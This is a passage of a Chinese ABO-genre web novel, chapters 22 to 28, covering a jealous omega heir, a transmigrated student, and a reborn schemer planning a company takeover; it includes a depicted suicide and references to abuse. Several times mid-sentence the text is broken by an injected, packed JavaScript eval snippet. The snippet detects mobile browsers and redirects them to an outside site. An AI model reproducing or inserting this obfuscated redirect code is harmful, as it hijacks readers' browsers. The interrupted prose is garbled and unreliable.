景妈表情凝重,踌躇许久,才说:“你别是……动了心吧?” 景凉生气凝眉,埋头喝了几口汤,“没有的事!他不喜欢我。” “那你……” “我也不喜欢他,只是表面做做样子,回来就没联系了。” 景妈松了口气,自语:“那就好,那就好,不要有过多联系,反正解除婚约是迟早的事。” “怎么突然说起这个?” “我前些日子出去参加茶会,听了一耳,卢家正在物色小omega,已经有中意的人选了,回来就会安排他们见一面,解除婚约这事我们先不要提,等卢家自己过来提,这样主动权就在我们手里。” 景凉心里一阵不舒爽,连汤都没胃口喝下去。 “是吗?是什么样的omega啊?那得是个天仙吧?我有见过吗?” “就是宋家那个omega小儿子,叫宋希濂。百年世家,书香门第,一家子从政的。” 景凉嗤笑,“这么厉害?那卢绛不是配不上人家?毕竟名声烂成这样,宋家会要他?” “可谁也不会嫌钱多。” “肤浅!” “你今晚怎么跟个刺猬似的?话里藏刀的。” 汤只喝了一半,景凉胃里被酸涩填满了,他拉开椅子匆匆道了声‘晚安’就回了自己房间。 景妈一脸疑惑,目送他的身影消失在楼梯拐角处,轻叹:“真是个傻孩子!” 半夜十一点,景凉盯着未回的聊天对话框,失落的翻了个身,将手机丢了老远。 蓝瘦,香菇。 辗转反侧睡不着,景凉翻身而起,将地毯上的手机捞了回来。 【景凉:周洲,睡了吗?】 【周洲:没,刚跟我妈谈心谈到现在,你怎么还没睡?】 【景凉:有宋希濂的资料吗?我现在就要!】 【周洲:稍等。】 五分钟后,周洲给他打包了一个文件夹。 景凉将他的照片点开放大,长得还挺漂亮,生气! 帝都大学外语系研究生。 【景凉:18岁就研究生?】 【周洲:是的,一路越级,据说已经在考外交官了。】 【景凉:全国最美om ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735969|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ega排行榜第一名,这又是什么野鸡排名?】 【周洲:哦宝,你千万别这么说,你也在这个榜上。】 【景凉:我排第几?】 【周洲:第十……呃,现在已经掉到十一了。】 【景凉:?】 【景凉:甩个榜单链接。】 【周洲:(链接)嗐,你别当真,那是他们没看到你真人,比真人你肯定是第一,18岁的小子能有什么魅力?他那照片百分百P了。】 【景凉:嗯,睡了。】 睡是不可能睡的,景凉点开榜单链接,这榜单人气还挺高。 他注册了个小号,先给自己投了一票。 又往榜单下面翻了翻评论。 前面好几条高赞都是骂他的。 【景凉这种omega为什么会上榜啊?我不理解并大为震惊!】 【景凉败坏O德,抹布O不自爱,我宣布将他开除O籍。】 【还没结婚呢,就给订婚的alpha老公戴了数不清的绿帽,哪个正经O会这样啊?】 【出入那种场合还不戴抑制颈环,是不是想让A标记他?好骚啊!哈哈……】 …… 景凉从来没有注意过网上对他的评论,毕竟夏虫不可语冰,井蛙不可语海。 可当恶评如此直观的冲击着脑神经时,还是会在意,会受影响。 心里也酸得要命,气得想哭。 他不甘心的又往下翻了翻评论,终于有一条是替他说话的。 【沉默的酱:前几天我开了个锁店,上门的客人有点多,他们一直在讨论‘景凉这样的送我都不要’,我问他们配几把,他们把我店砸了,我问他们为什么砸我的店?他们说我骂人,我说有些人不要那么敏感脆弱,我只是问你配几把就心虚成这样。】 【1L:kao,原来骂人即能这么有艺术性又能骂得很脏,主楼的兄弟高明。】 【2L:笑死!哈哈哈哈哈……所以不配的能不能自觉的滚?】 【3L:终于有个说人话的,还把他开除O籍,知道你特马脸大了!但别四处招摇惹笑话,你连景凉一根头发丝都比不上!】 【4L:敏感脆弱的alpha们,自尊心真廉价。配不上就诋毁,学会了学会了。】 23. 第23章 【5L:谁tm告诉我O德是什么鬼东西?别太离谱了,拿着O德去裹小脑吧你!】 【6L:主楼O装A吧?连自己的性别都不敢承认,看来在网上当个A能让你找回自信。】 【7L:我也是A,6L的别太离谱,当个A都能给你当出优越感,真可怜。】 …… 底下怼了三百多条,那个沉默的酱再没有任何回复。 就好像只是为了替他说一句话才注册的号。 “沉默的酱……”点开资料全是空白,但IP地址显示是南城大学城,想到也许是卢绛,一颗死掉的心又活过来了。 * 晚十一点酒吧包间。 “万星很快就会爆雷,他们董事长廖成开炒期货亏损了近两个亿,新项目申请的银行贷款诉东西补西墙,严重资金链断裂,等过完年股票肯定直线下跌,等他们把公司的专利私卖完,这公司就只剩下个空壳子。” 卢绛听得连呼吸都开始紧迫,“这种信息属于公司顶层的内部消息了,你是怎么知道的?” 霍临自信一笑,“你听我说完,想要收购万星,我们要趁他们在私卖专利之前拿下它,现在他们资金链断裂的消息是封闭的,所以廖成开肯定是想将手中的烂摊子以高价噱头转卖出去。” “先把专利转卖,再卖空壳子公司,那收购公司的不就成了冤大头?” “是啊,够损吧?” 卢绛沉默思索了好一会儿,“我们可以在年前去拜会一下廖总。” 霍临挑眉,嘴角勾起一抹狡黠的笑:“我以为你会选择提前把这个雷爆出来。” 卢绛:“提前把这个雷爆出来,虽然能起到压价作用,但随着竞争者增加,对我们一点好处都没有,本来是可以躲开无谓的竞争,损失钱是小,还会拖延浪费时间。” 霍临径自倒了杯酒,语出惊人,“万星的底价在6.5至6.8亿这个区间。” 虽然,但是,卢绛还是被亿这个数量单位给吓到了。 “这么多钱?” “你爹洒洒水啦~” 卢绛手里的酒都要被捧热了,似是下了很大的决心,‘咕咚咕咚’喝完杯里的酒,坚定道:“交给我吧,钱的事应该能摆平,其他要出面的事情,你去做。” “当然,既然是合伙人,我也不能干等吃白饭不是?” 霍临给两人空了的酒杯续上,举手投足间满是自信从容,有一种不太符合他年纪的沉稳老练。 “收购万星,是我们的第一步,至于第二步棋……等我们收购万星再说” “霍临,你是不是知道过去和未来的事?” 霍临低笑了声,“我们来拼酒,你赢了我就告诉你。敢来吗?” “来!” 一直到凌晨,茶几上全是空酒瓶,红白啤混着喝。 卢绛眯着眼靠在沙发上小憩,这具身体对酒精的耐受力很强。 半醉半醒的状态真的好舒服,像是在云端,整个人都是轻飘飘的。 霍临让人拿了两杯柚子蜂蜜水进来,“这里不用你们看着了,出去吧。” “怎么?醉了?”霍临戏谑笑着,把自己那杯柚子蜂蜜水给喝了。 卢绛坐起身,再次扣过酒杯,逞强道:“没醉!” 霍临夺过他手里的酒杯,塞给了他一杯柚子蜂蜜水,“行了,别喝了!你想知道什么?” 卢绛喝完蜂蜜水醒了醒神,问题直击心灵,“你不是这个世界的人?” “我是这个世界的人,但我现在的灵魂来自十年后,没错,我重生来的。” “重生?” “换我问你了,前世的记忆中,你在一年前就已经死了,那现在的你,到底是谁?” 卢绛搓搓脸,眼神有些迷离,酒精开始在身体里发酵。 “我是,平行时空……这个世界和我之前所在的世界很相似,各行业发展稍微晚几年。他跳楼我就过来了,睛睁一闭一睁,就来了,嗯!我怎么就过来了呢?其实这儿也有好的。” 霍临笑死,这小子醉了,但还强撑着脑子要清醒,连说话都变得有趣了些。 “那你以后还会回原来的世界吗?” “不,不知道,不想回去,那里……什么都没有。” “总有一两个朋友吧?” “没朋友,没有,我一个人。” 霍临听着心情莫名沉重,“其实那十年,我也是一个人,野心勃勃什么都想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735970|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要,最终什么都抓不住,重生回来我时常在想,过去的我简直蠢到惹人发笑。” “爸妈都不要我,朋友背叛我,养父就是个畜生,一直猥亵我还把我送精神病院,网友天天问候我卢绛今天死了没有,太好了,我终于死了!他们应该会很开心吧?凭什么啊?呜……” 霍临一阵心疼,揽过他肩膀让他靠着自己,安慰拍着他的后背。 “别哭了,你现在享的福是你在那个世界所受的苦换来的,你的福气后头享不尽呢!” “霍哥,你是好人。” “噗!哈哈哈哈……” 霍临被逗笑了,笑出了泪水,因为他真的不是什么好人,他还是第一次听别人这样评价他。 “我不是什么好人,上辈子为了钱我跟了崔少霈,为了钱又抛弃他和他肚子里的孩子,入赘豪门却不甘心一生困在笼子里,以为自己算无遗漏,可却不知道高一尺魔高一仗,最终自做聪明,害人害己。” 卢绛学着他拍拍他的后背,安慰道:“没关系,这辈子你争取做个好人,还有机会的。” “还有机会吗?” “有的。” “好,这辈子我做个好人。” * 卢绛醒来时还在包间里,身上盖着一条毯子。 霍临不知道什么时候走的,空酒瓶倒了一地,空气中的烟味混淆着酒精的气味,让人闻着头晕想吐。 卢绛狼狈冲进洗手间,吐了个昏天暗地,洗了把脸放了个水,好受多了。 今天是周末不用上课,可他又不想回寝室,经过昨天的事情,只怕呆在寝室更尴尬。 大一新生不能出去租房,第一年得住校,还得忍一个学期。 卢绛在附近的服装店随便拿了两套衣服,在酒店开了个钟点房。 洗好澡换上干净的衣服,他才感觉活了过来。 他拿过手机看了眼时间,已经是上午十点半了,社交软件显示有好几条未读信息。 是景凉发过来的,卢绛拿着手机给景凉回了信息。 【卢绛:抱歉凉哥,今天才回你消息,晚上有点私事,早上又醒得晚了点。】 卢绛正准备放下手机,叫酒店服务,景凉秒回了。 24. 第24章 【景凉:我还以为你是故意不回,都准备把你拉黑了。】 拉黑是不可能拉黑的,不过是这么久没消息,多少积累了些怨气。 【卢绛:对不起凉哥,我不是故意的。】 【景凉:怎么证明你不是故意的?微笑脸.jpg】 【卢绛:最近各种考试,可能没时间联系你,很抱歉。】 【景凉:也不是完全没时间吧?说到底我还是没那么重要罢了。】 【卢绛:呃……】 【景凉:算了,我也不是那么小气的人,既然你已经道歉了,就原谅你吧。】 【卢绛:谢谢凉哥。】 【景凉:能不能视频?想看看你。】 【卢绛:我在外面,不太方便,下次吧。】 【景凉:帝都下雪了,很漂亮,你要看看吗?】 【卢绛:不用,寒假回来看也一样。】 【系统:您已向对方发起视频连接。】 卢绛被突然发起的视频语音吓了一跳,下意识挂断了。 【系统:对方拒绝了您的视频请求。】 【系统:您已向对方发起视频连接。】 【系统:对方拒绝了您的视频请求。】 …… 景凉从来没有像现在这样没皮没脸的,他颤抖着指尖,再次发起了视频连接。 卢绛无奈,戴上蓝牙耳机接了对方发来的视频请求。 连接的画面从模糊到清晰,景凉盯着视频里那张冷隽帅气的脸,嘴角的笑意渐深。 “干嘛拒绝我的视频请求?看来你不想看到我。” “没有,我不习惯和别人视频语音。” 景凉笑道:“哦,那抱歉了,非得让你接个视频语音。” 卢绛将手机立在茶几上对着视频,虽然对看雪没什么兴趣,但还是问起:“你不是说要给我看雪吗?雪呢?” 景凉敏锐的察觉到了什么,脸上的笑容渐渐消失。 “你在酒店?” “嗯。” “跟谁啊?” “跟……” 卢绛难得调皮了一下,却感觉景凉的眼神要杀人,没来由的开始心慌。 景凉摒气隐忍着怒火,只要他敢说出那个人,他就有一百种手段弄死他! 他得不到的东西,别人也休想得到。 “没有别人,就我自己。” “你一个人来酒店开房?”语气俨然不信。 “我昨天喝太多,衣服上都是酒味,又不想回宿舍,就在外边开了一个钟点房。” “你去泡酒吧了?”神情更冷了。 “跟我一个朋友去的,他是alpha。” “那你……” “凉哥。”卢绛表情十分严肃。 “什么?” “你不觉得这样的盘问有些过了吗?” “我只是想关心你。你不喜欢,我下次注意。”景凉的心口微微刺痛,神情失落。 他怎么一副要哭的样子?(装的) 会不会是他刚才的语气太生硬,惹他伤心了? 为什么景凉伤心,他也会跟着不好受? 没来得及细想,卢绛只想哄他开心,语气软和了许多。 “我和那个朋友只是喝酒谈了一些项目上的事情,没有别人了,刚才是我态度不好,你别生我气。” “不是你的问题,是我多管闲事,明明我们什么都不是,还一直问你这么多,是个人都会烦。”景凉深吸了口气,冲镜头浅笑。 彼此一阵沉默。 景凉的情绪之后一直显得很低落,“你忙你的吧,再见。” “你不是要给我看雪吗?” “你想看吗?” “嗯,看看。” 景凉拿起手机匆匆就往门外走,边说道:“你等着啊,院子里就有雪,特意留着没扫的。” 他穿着单薄的单衣和棉拖鞋就跑到了院子。 冰冷的雪一下渗进了棉拖鞋里,他举起手机对着视频笑得很明媚。 院子里的雪纯白无暇,被雪覆盖的豪华老宅子看起来温馨又梦幻。 景凉举着手机在原地慢慢转着圈:“好看吗?” 卢绛的心脏仿佛被什么重物给捶了一下,闷闷的又有点泛疼,他感受到了隔着屏幕的这份热烈与真挚。 卢绛:“雪很好看,等我回来再看,你快进屋去。” 景凉这才感觉彻骨的冷意,进屋时绵拖鞋已经湿透了,他光着脚跳上沙发找了暖水袋捂脚,冻得连说话都不利索,“你们嘶……什么时候,放假?” 卢绛:“一个星期左右吧,大学城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735971|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经在陆续放假回家了,我考完试当天就会动身回来。” 景凉难掩失落:“还要一个星期?” 卢绛突然想到了什么,问他:“你是不是发情期快到了?” “你要是回不来,能不能给我寄一件你的外套?” “那件宝蓝色的外套,我最近有在穿,下午给你寄过去。” “寄你不怎么穿的吧,旧的。” “旧的洗过了。” “嗯……是不是太强人所难了?” “没有,只是一件外套而己。” 如果能缓解他发情期的痛苦,那自然很好。 景凉本想说回来那天他去机场接他,但是想想他回来那天,一定有很多人会去接他,没必要这样上赶着,显得掉价。 “那凉哥,先这样吧,我挂电话去吃饭了。” “嗯,拜拜。” 卢绛叫来酒店服务,只留下了那件宝蓝色的外套,其它的衣服都让拿去快洗烘干。 他去酒店附近吃了碗牛肉面,填了下肚子,又一个人在附近无聊的逛。 难得清闲的一个下午,但是天气不怎么好,他在网上买了一张电影票,去看了一场电影。 出来的时候,天已经黑透了。 十二月的南方天总是黑得很早。 他把外套穿得暖暖的,沾上自己更多的信息素味道,才拿去附近的快递站寄了特快。 快递站的老板一家子正坐在矮板凳上,一家子围着吃火锅。 翻腾着的红油汤底飘出阵阵香味,让卢绛突然想吃火锅了。 于是他一个人跑去吃了火锅,味道还不错,就是一个人越吃越难受,他只想快点吃完回酒店。 * 霍临一大早就来了医院,在医院呆了一整天,晚上匆匆吃了点东西,带了鸡丝粥回了病房。 此时崔少霈已经醒了,看了霍临一眼,憎恨地扭过了头去。 霍临这人脸皮厚得很,自若的拿出粥,“鸡丝粥,现在吃吗?” “滚。” “你再说一遍。” “我让你滚,听清楚了?” “那真是太好了,这可是崔总你自己说的,我现在马上滚,你以为我想伺候你啊?” 说完,霍临脚步带风,走得头也不回,门摔得哐哐响。 25. 第25章 崔少霈是真的没想到他会走,连装都不装一下。 想他以前对这人不薄,可以说有求必应,豪宅、豪车、钱,什么时候少过他的? 有钱的时候,像条狗一样赔着笑凑过来,打不还手骂不还口。 现在他破产了,就不忍了,骂不得说不得,把人性凉薄真是演绎到极致。 崔少霈沉痛地闭上双眼,身体与心理所带来的痛苦折磨让他连挣扎的力气都没有。 “还不如死了,好过活受罪。”他紧咬着牙关,将苦涩往肚子里咽。 他以前得罪了不少人,就等着他落魄了过来踩两脚。 这才哪到哪?苦日子还在后头等着他。 医院寂静的长廊里,霍临疲惫的仰头靠在公共椅上,瞪大着空洞的双眼看着天花板出神。 “你傻了吗?为什么不走?这一点儿也不霍临,我现在可真有良心啊!” 也不知在长廊里坐了多久,直到病房里传来一阵巨响,霍临来不及多想,猛地起身推开门回了病房。 只见崔少霈摔在地上,带来的鸡丝粥洒了他一身,还好这天气凉得快。 霍临打横抱起他,将他放到床上,又连抽了几张纸巾,沉默的给他擦着身上的粥水。 崔少霈疼得脸色发白,冷淡的神情稍微缓和了些。 “你不是走了吗?” 本来霍临想损他两句,但看他疼得厉害又忍了。 “你下床想干嘛?” 崔少霈还别扭着,推开霍临的手:“不要你管!” 霍临也没理他,径自翻着他的行李,找不到一套可以替换的睡衣裤。 “我出去一趟,给你买套冬季的睡衣。” “等等!” “说!” “我要上厕所。” 霍临上前想要抱他去厕所,又被崔少霈推开。 “我不要你抱,你扶我。” “抱你!” “扶我!” “啊啊啊,随你。” 霍临捞过他一只手臂,另一只手扶过他的腰身,将他扶到了洗手间。 他伸手就去解崔少霈的裤带,又被崔少霈给挡开。 “你出去。” “我给你撸过多少次了,现在害羞?” “MD,你给我闭嘴!” “内裤要换吗?” “不要你管,护士会给我换。” “行,随便你,我去帮你叫护士。你自己扶好,别又摔了。” 霍临知道他自尊心强,为人倔犟,便没再管他,只是去护士站叫了护士。 走出医院时,外边飘着毛毛细雨,阴冷潮湿无孔不入。 前世再过一个月,他在景凉的私人别墅,与他签下了一份婚内协议与婚前财产公证。 婚后的一年,崔少霈联系到了他,坚持要见他一面。 他本不想见他,因为害怕被景凉发现,所以很突然的换了电话号码。 但崔少霈还是通过各种渠道找到了他,还带着那个出生的omega女儿。 那时的崔少霈瘦弱、苍白、面容被毁,仿佛一下子老了十岁,早已没了记忆中光鲜贵气的模样。 孩子生下来没多久,检查出先天心脏瓣膜缺损,身体弱得不像话。 为了要钱,崔少霈那样骄傲的人向他下跪,毫无尊严的求他。 他给了崔少沛一百万,让他永远消失在自己眼前,连那孩子一眼都厌恶看到。 那时他只担心被景凉发现,失去到手的荣华富贵,冷血无情得可怕。 他和景凉结婚九年,互相算计,都不曾走进入彼此心里。 可笑的是,他的一举一动全被景凉暗中监视着,就连崔少霈和那个孩子的存在也一清二楚。 但这九年,景凉一个字都不曾透露。 景凉会给他放权,让他做项目,让他尝到甜头,分他公司股份,带他出入各种场合。 他以为终于真正地融入这个层层壁垒的上流圈子。 就在第九年,景凉查出有了身孕。 在去一个竞标会的清晨,景凉挑剔他的领带不好看,让他换一换。 他被藏匿在柜子里的人刺了一刀,伤口不深,也没刺中要害。 崔少霈握刀的手都在发抖。 这个时候的他瘦得像具行走的骷髅,横亘过他脸上的疤像条丑陋的蜈蚣,多看一眼都觉得作呕。 那孩子做完心脏瓣膜修复不到三年,前不久因为基因病死了,治了很多钱,这些钱都是景凉提供给他的,因为他们做了一个交易。 这个交易就是在霍临没有利用价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735972|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值之后,让崔少霈杀了他。 然而崔少霈没有完成这个交易。 他用绝望地眼神看着他,质问他。 “当年你有没有哪怕一瞬间的想过,要和我在一起?” “那个孩子的名字你都不知道,你甚至不曾看她一眼。” “曾经的传言都是假的,我没有过很多人,我只有你一个。” “包养你不只是为了玩玩而己……” “但是这些已经不重要了,霍临,我就要解脱了。” 他说完,用锋利的刀刃一丝迟疑都没有,在他面前用力割开了自己的喉咙,求死之心十分坚定。 可能是因为重重打击与背叛,居然唤醒了他不多的良知,他抱起崔少沛疯狂的往外跑,想要送他去医院。 车子开出不到五百米,一辆大货车朝他狠狠撞了上来,他死在了那场车祸里。 弥留之际,他看到对面街的车里,景凉坐在副驾驶冲他微笑。 上辈子的画面便永远定格在那一秒。 景凉算准了两个结果。 一个是崔少霈遵守约定成功把他杀了。 另一个是崔少霈不忍心,所以安排了这场车祸。 那一天他必须死,因为他对景凉已经没有用了。 路边车子呼啸而过的湿凉晚风拉回了他飘远的思绪,霍临走进一家服装店,随手挑了两套灰色厚实的冬季睡衣。 回去时他又重新带了一份鸡丝粥。 * 快递寄出去的第二天下午,景凉就收到了卢绛寄来的外套。 卢绛一个人在酒店复习到晚上,拿过手机扫了眼,有未读信息,是景凉发过来的。 【景凉:衣服已经收到了,很感谢。冒心心.GIF】 【卢绛:那就好。】 【景凉:穿上好大啊,你看。】 【图片.jpg】 【图片.jpg】 【图片.jpg】 图片缓冲打开,当看到照片时,卢绛呼吸一窒。 他底下什么都没穿,只裹着他的外套,脸色潮红的侧躺在床上。 卢绛一连发了十几个句号,把屏幕刷干净后,才松了口气。 是他太想当然了,alpha与omega之间确实没办法做兄弟。 26. 第26章 【景凉:……】 【景凉:我是不是不该给你发这些照片?那我撤回来。】 卢绛用力抓了把头发,松手时揪了几根下来。 再这么下去年纪轻轻得头秃。 【景凉:怎么不说话了?】 【卢绛:嗯……不知道要说什么。】 【景凉:随便聊聊,不用拘谨。】 卢绛脸热的长舒了口气,哥哥还是拘谨点比较好! 【景凉:你讨厌我这样?】 【卢绛:不是讨厌。】 【景凉:那是喜欢?】 【卢绛:惊恐土豆.jpg】 【景凉:不讨厌也不喜欢?那是怎样?】 【卢绛:凉哥,我还小,好好念书才是首要任务。】 【景凉:我又没有不让你好好读书,我有影响你读书吗?】 【卢绛:那倒……没有。】 【景凉:你别想太多,我又不是那种为一个男人就要死要活的omega,顺其自然就行了。】 潜台词是不要有负担,想玩就在一起,不想了就分开,好聚好散。 但这只是景凉让他放松警惕的一种手段,先把鱼捞进网里,才有机会考虑怎么吃。 【卢绛:凉哥,我……我根本没想过恋爱结婚这件事,我没有讨厌你,我只是接受不了。】 【景凉:所以,你还是很坚定的选择女性omega吗?】 【卢绛:嗯。】 对卢绛来说,这并不是问题的根源,不管是男性还是女性,不管是beta还是omega,他都没想过交往的可能。 但为了能让景凉死心,避免彼此无意义的内耗,更不想多做解释,卢绛只得以此为借口。 之后景凉没再回复。 在学校最后一个星期陆续考完,卢绛是最早一个收拾行李离开宿舍的。 南城飞往帝都需要两个半小时,检票前卢绛犹豫再三,还是给景凉发了一条信息。 【卢绛:凉哥,我准备登机了,正午十二点能降落。】 一分钟后。 【景凉:好,知道了,我去接你。】 这个时间景氏正在开年末最后一次高层会议。 因为海城景区开发项目被景凉一票否决,会议陷入焦灼之战中。 景凉一副油盐不进的样子,已经随时在等待会议结束,装佯在玩手机。 “小景总,你这样可不行啊!管理公司的谁不知道,鸡蛋不能放在一个篮子里!” “这个景区开发项目是通过股东会议,和几次加班加点修改方案才全票通过的!怎么到你这里,就不能通过?” “现在时代变了,已经不是过去追求匠心精神,开公司讲究的是利益最大化!” “项目的风险评估已经很低了,这项目根本就是捡钱嘛!” “哎,到底omega,目光短浅,前怕狼后怕虎没有大格局!” …… 景凉眸光锐利如刀,一掌狠拍向桌子,会议室瞬间安静了下来。 “说完了吗?” “说完了就听我说。” “与卢氏联姻让今年年利润增长百分之三十五,是不是让各位飘了?” 董事会元老陈万川愤然起身,准备破口怒骂,迎上景凉飞来的眼刀,话到了喉咙口轱辘了一圈又转了回去。 景凉:“海城景区开发项目与我们做服装贸易八杆子打不着,在目前险中求稳竞争极大的前提下,我不觉得跨行投资是明智之举。” “多少前车之鉴历历在目?多少高楼大厦一息倾塌?你们自己也没有百分百把握能挣钱分红利,这里面的操作空间太大,一旦出现问题,那就是大问题,会波及公司的正常运作,资金链断裂破产不过倾刻间,全都得去喝西北风。” “人呢,能赚自己认知以内的钱,就已经很成功了,贪心不足蛇吞象,各位叔伯自己回去斟酌吧,我还有事,先走一步。” 电梯里,周洲憋了很久,还是忍不住问他。 “那个项目我也看过了,基本盘面是没有什么问题的,你为什么……” “做地产开发的多少大佬?” “呃……反正卢家得算一个吧?” “这么好的赚钱项目,还能跨行轮到咱们?” 一语点醒梦中人,周洲吓得背后渗出一层冷汗。 “你是说……这很可能是个坑?” “要么就是这群老东西联合别人冲我来的,要么就是这群老东西脑子进水被别人坑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第27章 “那个,凉哥,我也有东西要给你。” “真的?”景凉得到亿万惊喜。 “嗯。”卢绛从书包里拿出两个包装很精巧的长形盒子。 “是什么?”景凉有些迫不及待想拆。 卢绛没给他,示意他认真开车,“只是两盒榛子巧克力,我觉得味道很好的,不是特别甜,你要是吃不惯,也可以送朋友。” 景凉的嘴角比AK还难压。 “我送你花,你送我巧克力,好像热恋中的小情侣会送的东西。” 卢绛脸上一阵滚烫,一路烧到了脖子。 他真的没有想那么多,当时尝到好吃的,下意识就想要分享。 现在想来确实很奇怪,他跟霍临的关系也不错,为什么不是想要和霍临分享? “我们先去吃饭,想吃什么?”景凉看他明显脸红了,低着头不再说话,怕把小朋友吓到,于是转移了话题。 卢绛想到他们第一次吃的是海鲜大餐,问他:“要去吃海鲜吗?” “吃海鲜……”景凉犹豫了会儿,其实他不是特别喜欢吃海鲜,只是那时想要试探他的性子,“好麻烦,我们换一个。” 卢绛欣喜道:“去吃火锅?” “好啊!这冰天雪地的吃火锅最适合不过了!” 两个人吃火锅与一个人吃火锅是完全不同的体验,他们在两人座的小隔间里,垂着布帘。 翻滚的红油火锅不断冒着袅袅热气,两人脱了外套撸起袖子,一点也不见外。 “哇哇哇,这个五花肉好嫩好甜,快尝尝!”景凉捞了两片熟肉放到他碗里。 卢绛一口两片肉,腮帮子鼓鼓的,眼睛一亮,“真的,凉哥,好好吃!” “要放羊肉吗?”羊肉虽然腌制了但依旧有膻味,他怕卢绛会吃不惯。 “放!” “都是肉,放点青菜吗?” “放!” “我想吃香菜,你……” “放!我也吃。” “那咱们把这一大盘都放进去,满满的香菜味!大发!” “大发!”看着放下去的香菜,卢绛忍不住跟着赞了声。 这顿火锅彼此都吃得心满意足,实在是撑不下了,才结帐离开。 回去的车上卢绛显得有些不安。 马上就要回那个所谓的家了,心里的恐慌像是望不到底的深渊,深渊将他吞噬。 突然的安静让景凉察觉到了一丝异样。 “不想回家吗?” 卢绛木然的扭头看向景凉,做了个深呼吸,沉默摇头。 ‘家’这个词,对他太过遥远陌生。 他有过短暂的所谓的家,但是带给他的全是一些恶心的记忆。 景凉能想到的,最多是他跟家里人闹矛盾了,不想回去面对。 车子缓缓在卢家别墅前停下。 卢绛将那两盒巧克力递给他,那种彷徨无措根本藏不住。 “凉哥,我先进去了,再见。” “等等。” 景凉下意识拉过他的手,“好久没见你父亲了,和你一起进去打个招呼再走。” 卢绛高兴的连连点头。 两个人一起进去,就不会那么慌了。 卢绛回来之前除了给景凉发了消息,卢家人并不知道。 管家远远看到卢绛高兴的迎了上去,可当看到他身边的景凉时,笑容僵在脸上。 “少爷,您怎么和小景总一起回来的?” “是我叫他去机场接我的。” “啊……这样,那你们吃过午饭了吗?” “嗯,吃了。” 一月的大寒天,管家禁不住一直在擦额头的汗,“今天来客人了,我进去和先生说一声。” 这个客人来得很微妙,让人不得不在意。 景凉的到来让管家先给打了一剂预防针,所以当景凉出现在卢家客厅时,并没有想像中的那样局促尴尬。 沙发上坐着一对母子,卢绛不认识,但景凉一眼就认出了他们的身份。 宋家的女主人和她的omega小儿子宋希濂。 另一个听到响声从楼梯走下来的年轻男性alpha,景凉就不认得了。 “弟弟,你终于回来了,姑妈今天还在念叨你应该放寒假了呢!” 卢绛对这人有点印象,又听到他叫原身母亲姑妈,便一下子想起了他的身份,不冷不热的叫了声‘湛哥’,后又叫了一声‘爸妈’。 景凉轻哦了声,原来是卢绛舅舅家的那个表哥,黎湛。 卢佑铭到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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景凉释然失笑了声,这么一看,长得也就这样吧,照片果然是P过了。 28. 第28章 原主的母亲黎花看着儿子如坐针毡,温柔笑道:“阿绛刚刚回家,肯定累了,让他先回房间休息吧。” 卢佑铭一点也不避讳,当着景凉的面一脸认真,“他好不容易回来,就应该跟同龄人好好相处,多说说话,希濂这么优秀的omega,一定能从他身上学到好的东西。” 怎么,卢佑铭这意思他景凉就不能教他儿子一点好的? 卢佑铭开始拉郎配,“别愣着你个傻小子,希濂好不容易来一趟,你带人家到处走走看看,去你房间坐坐也行。” 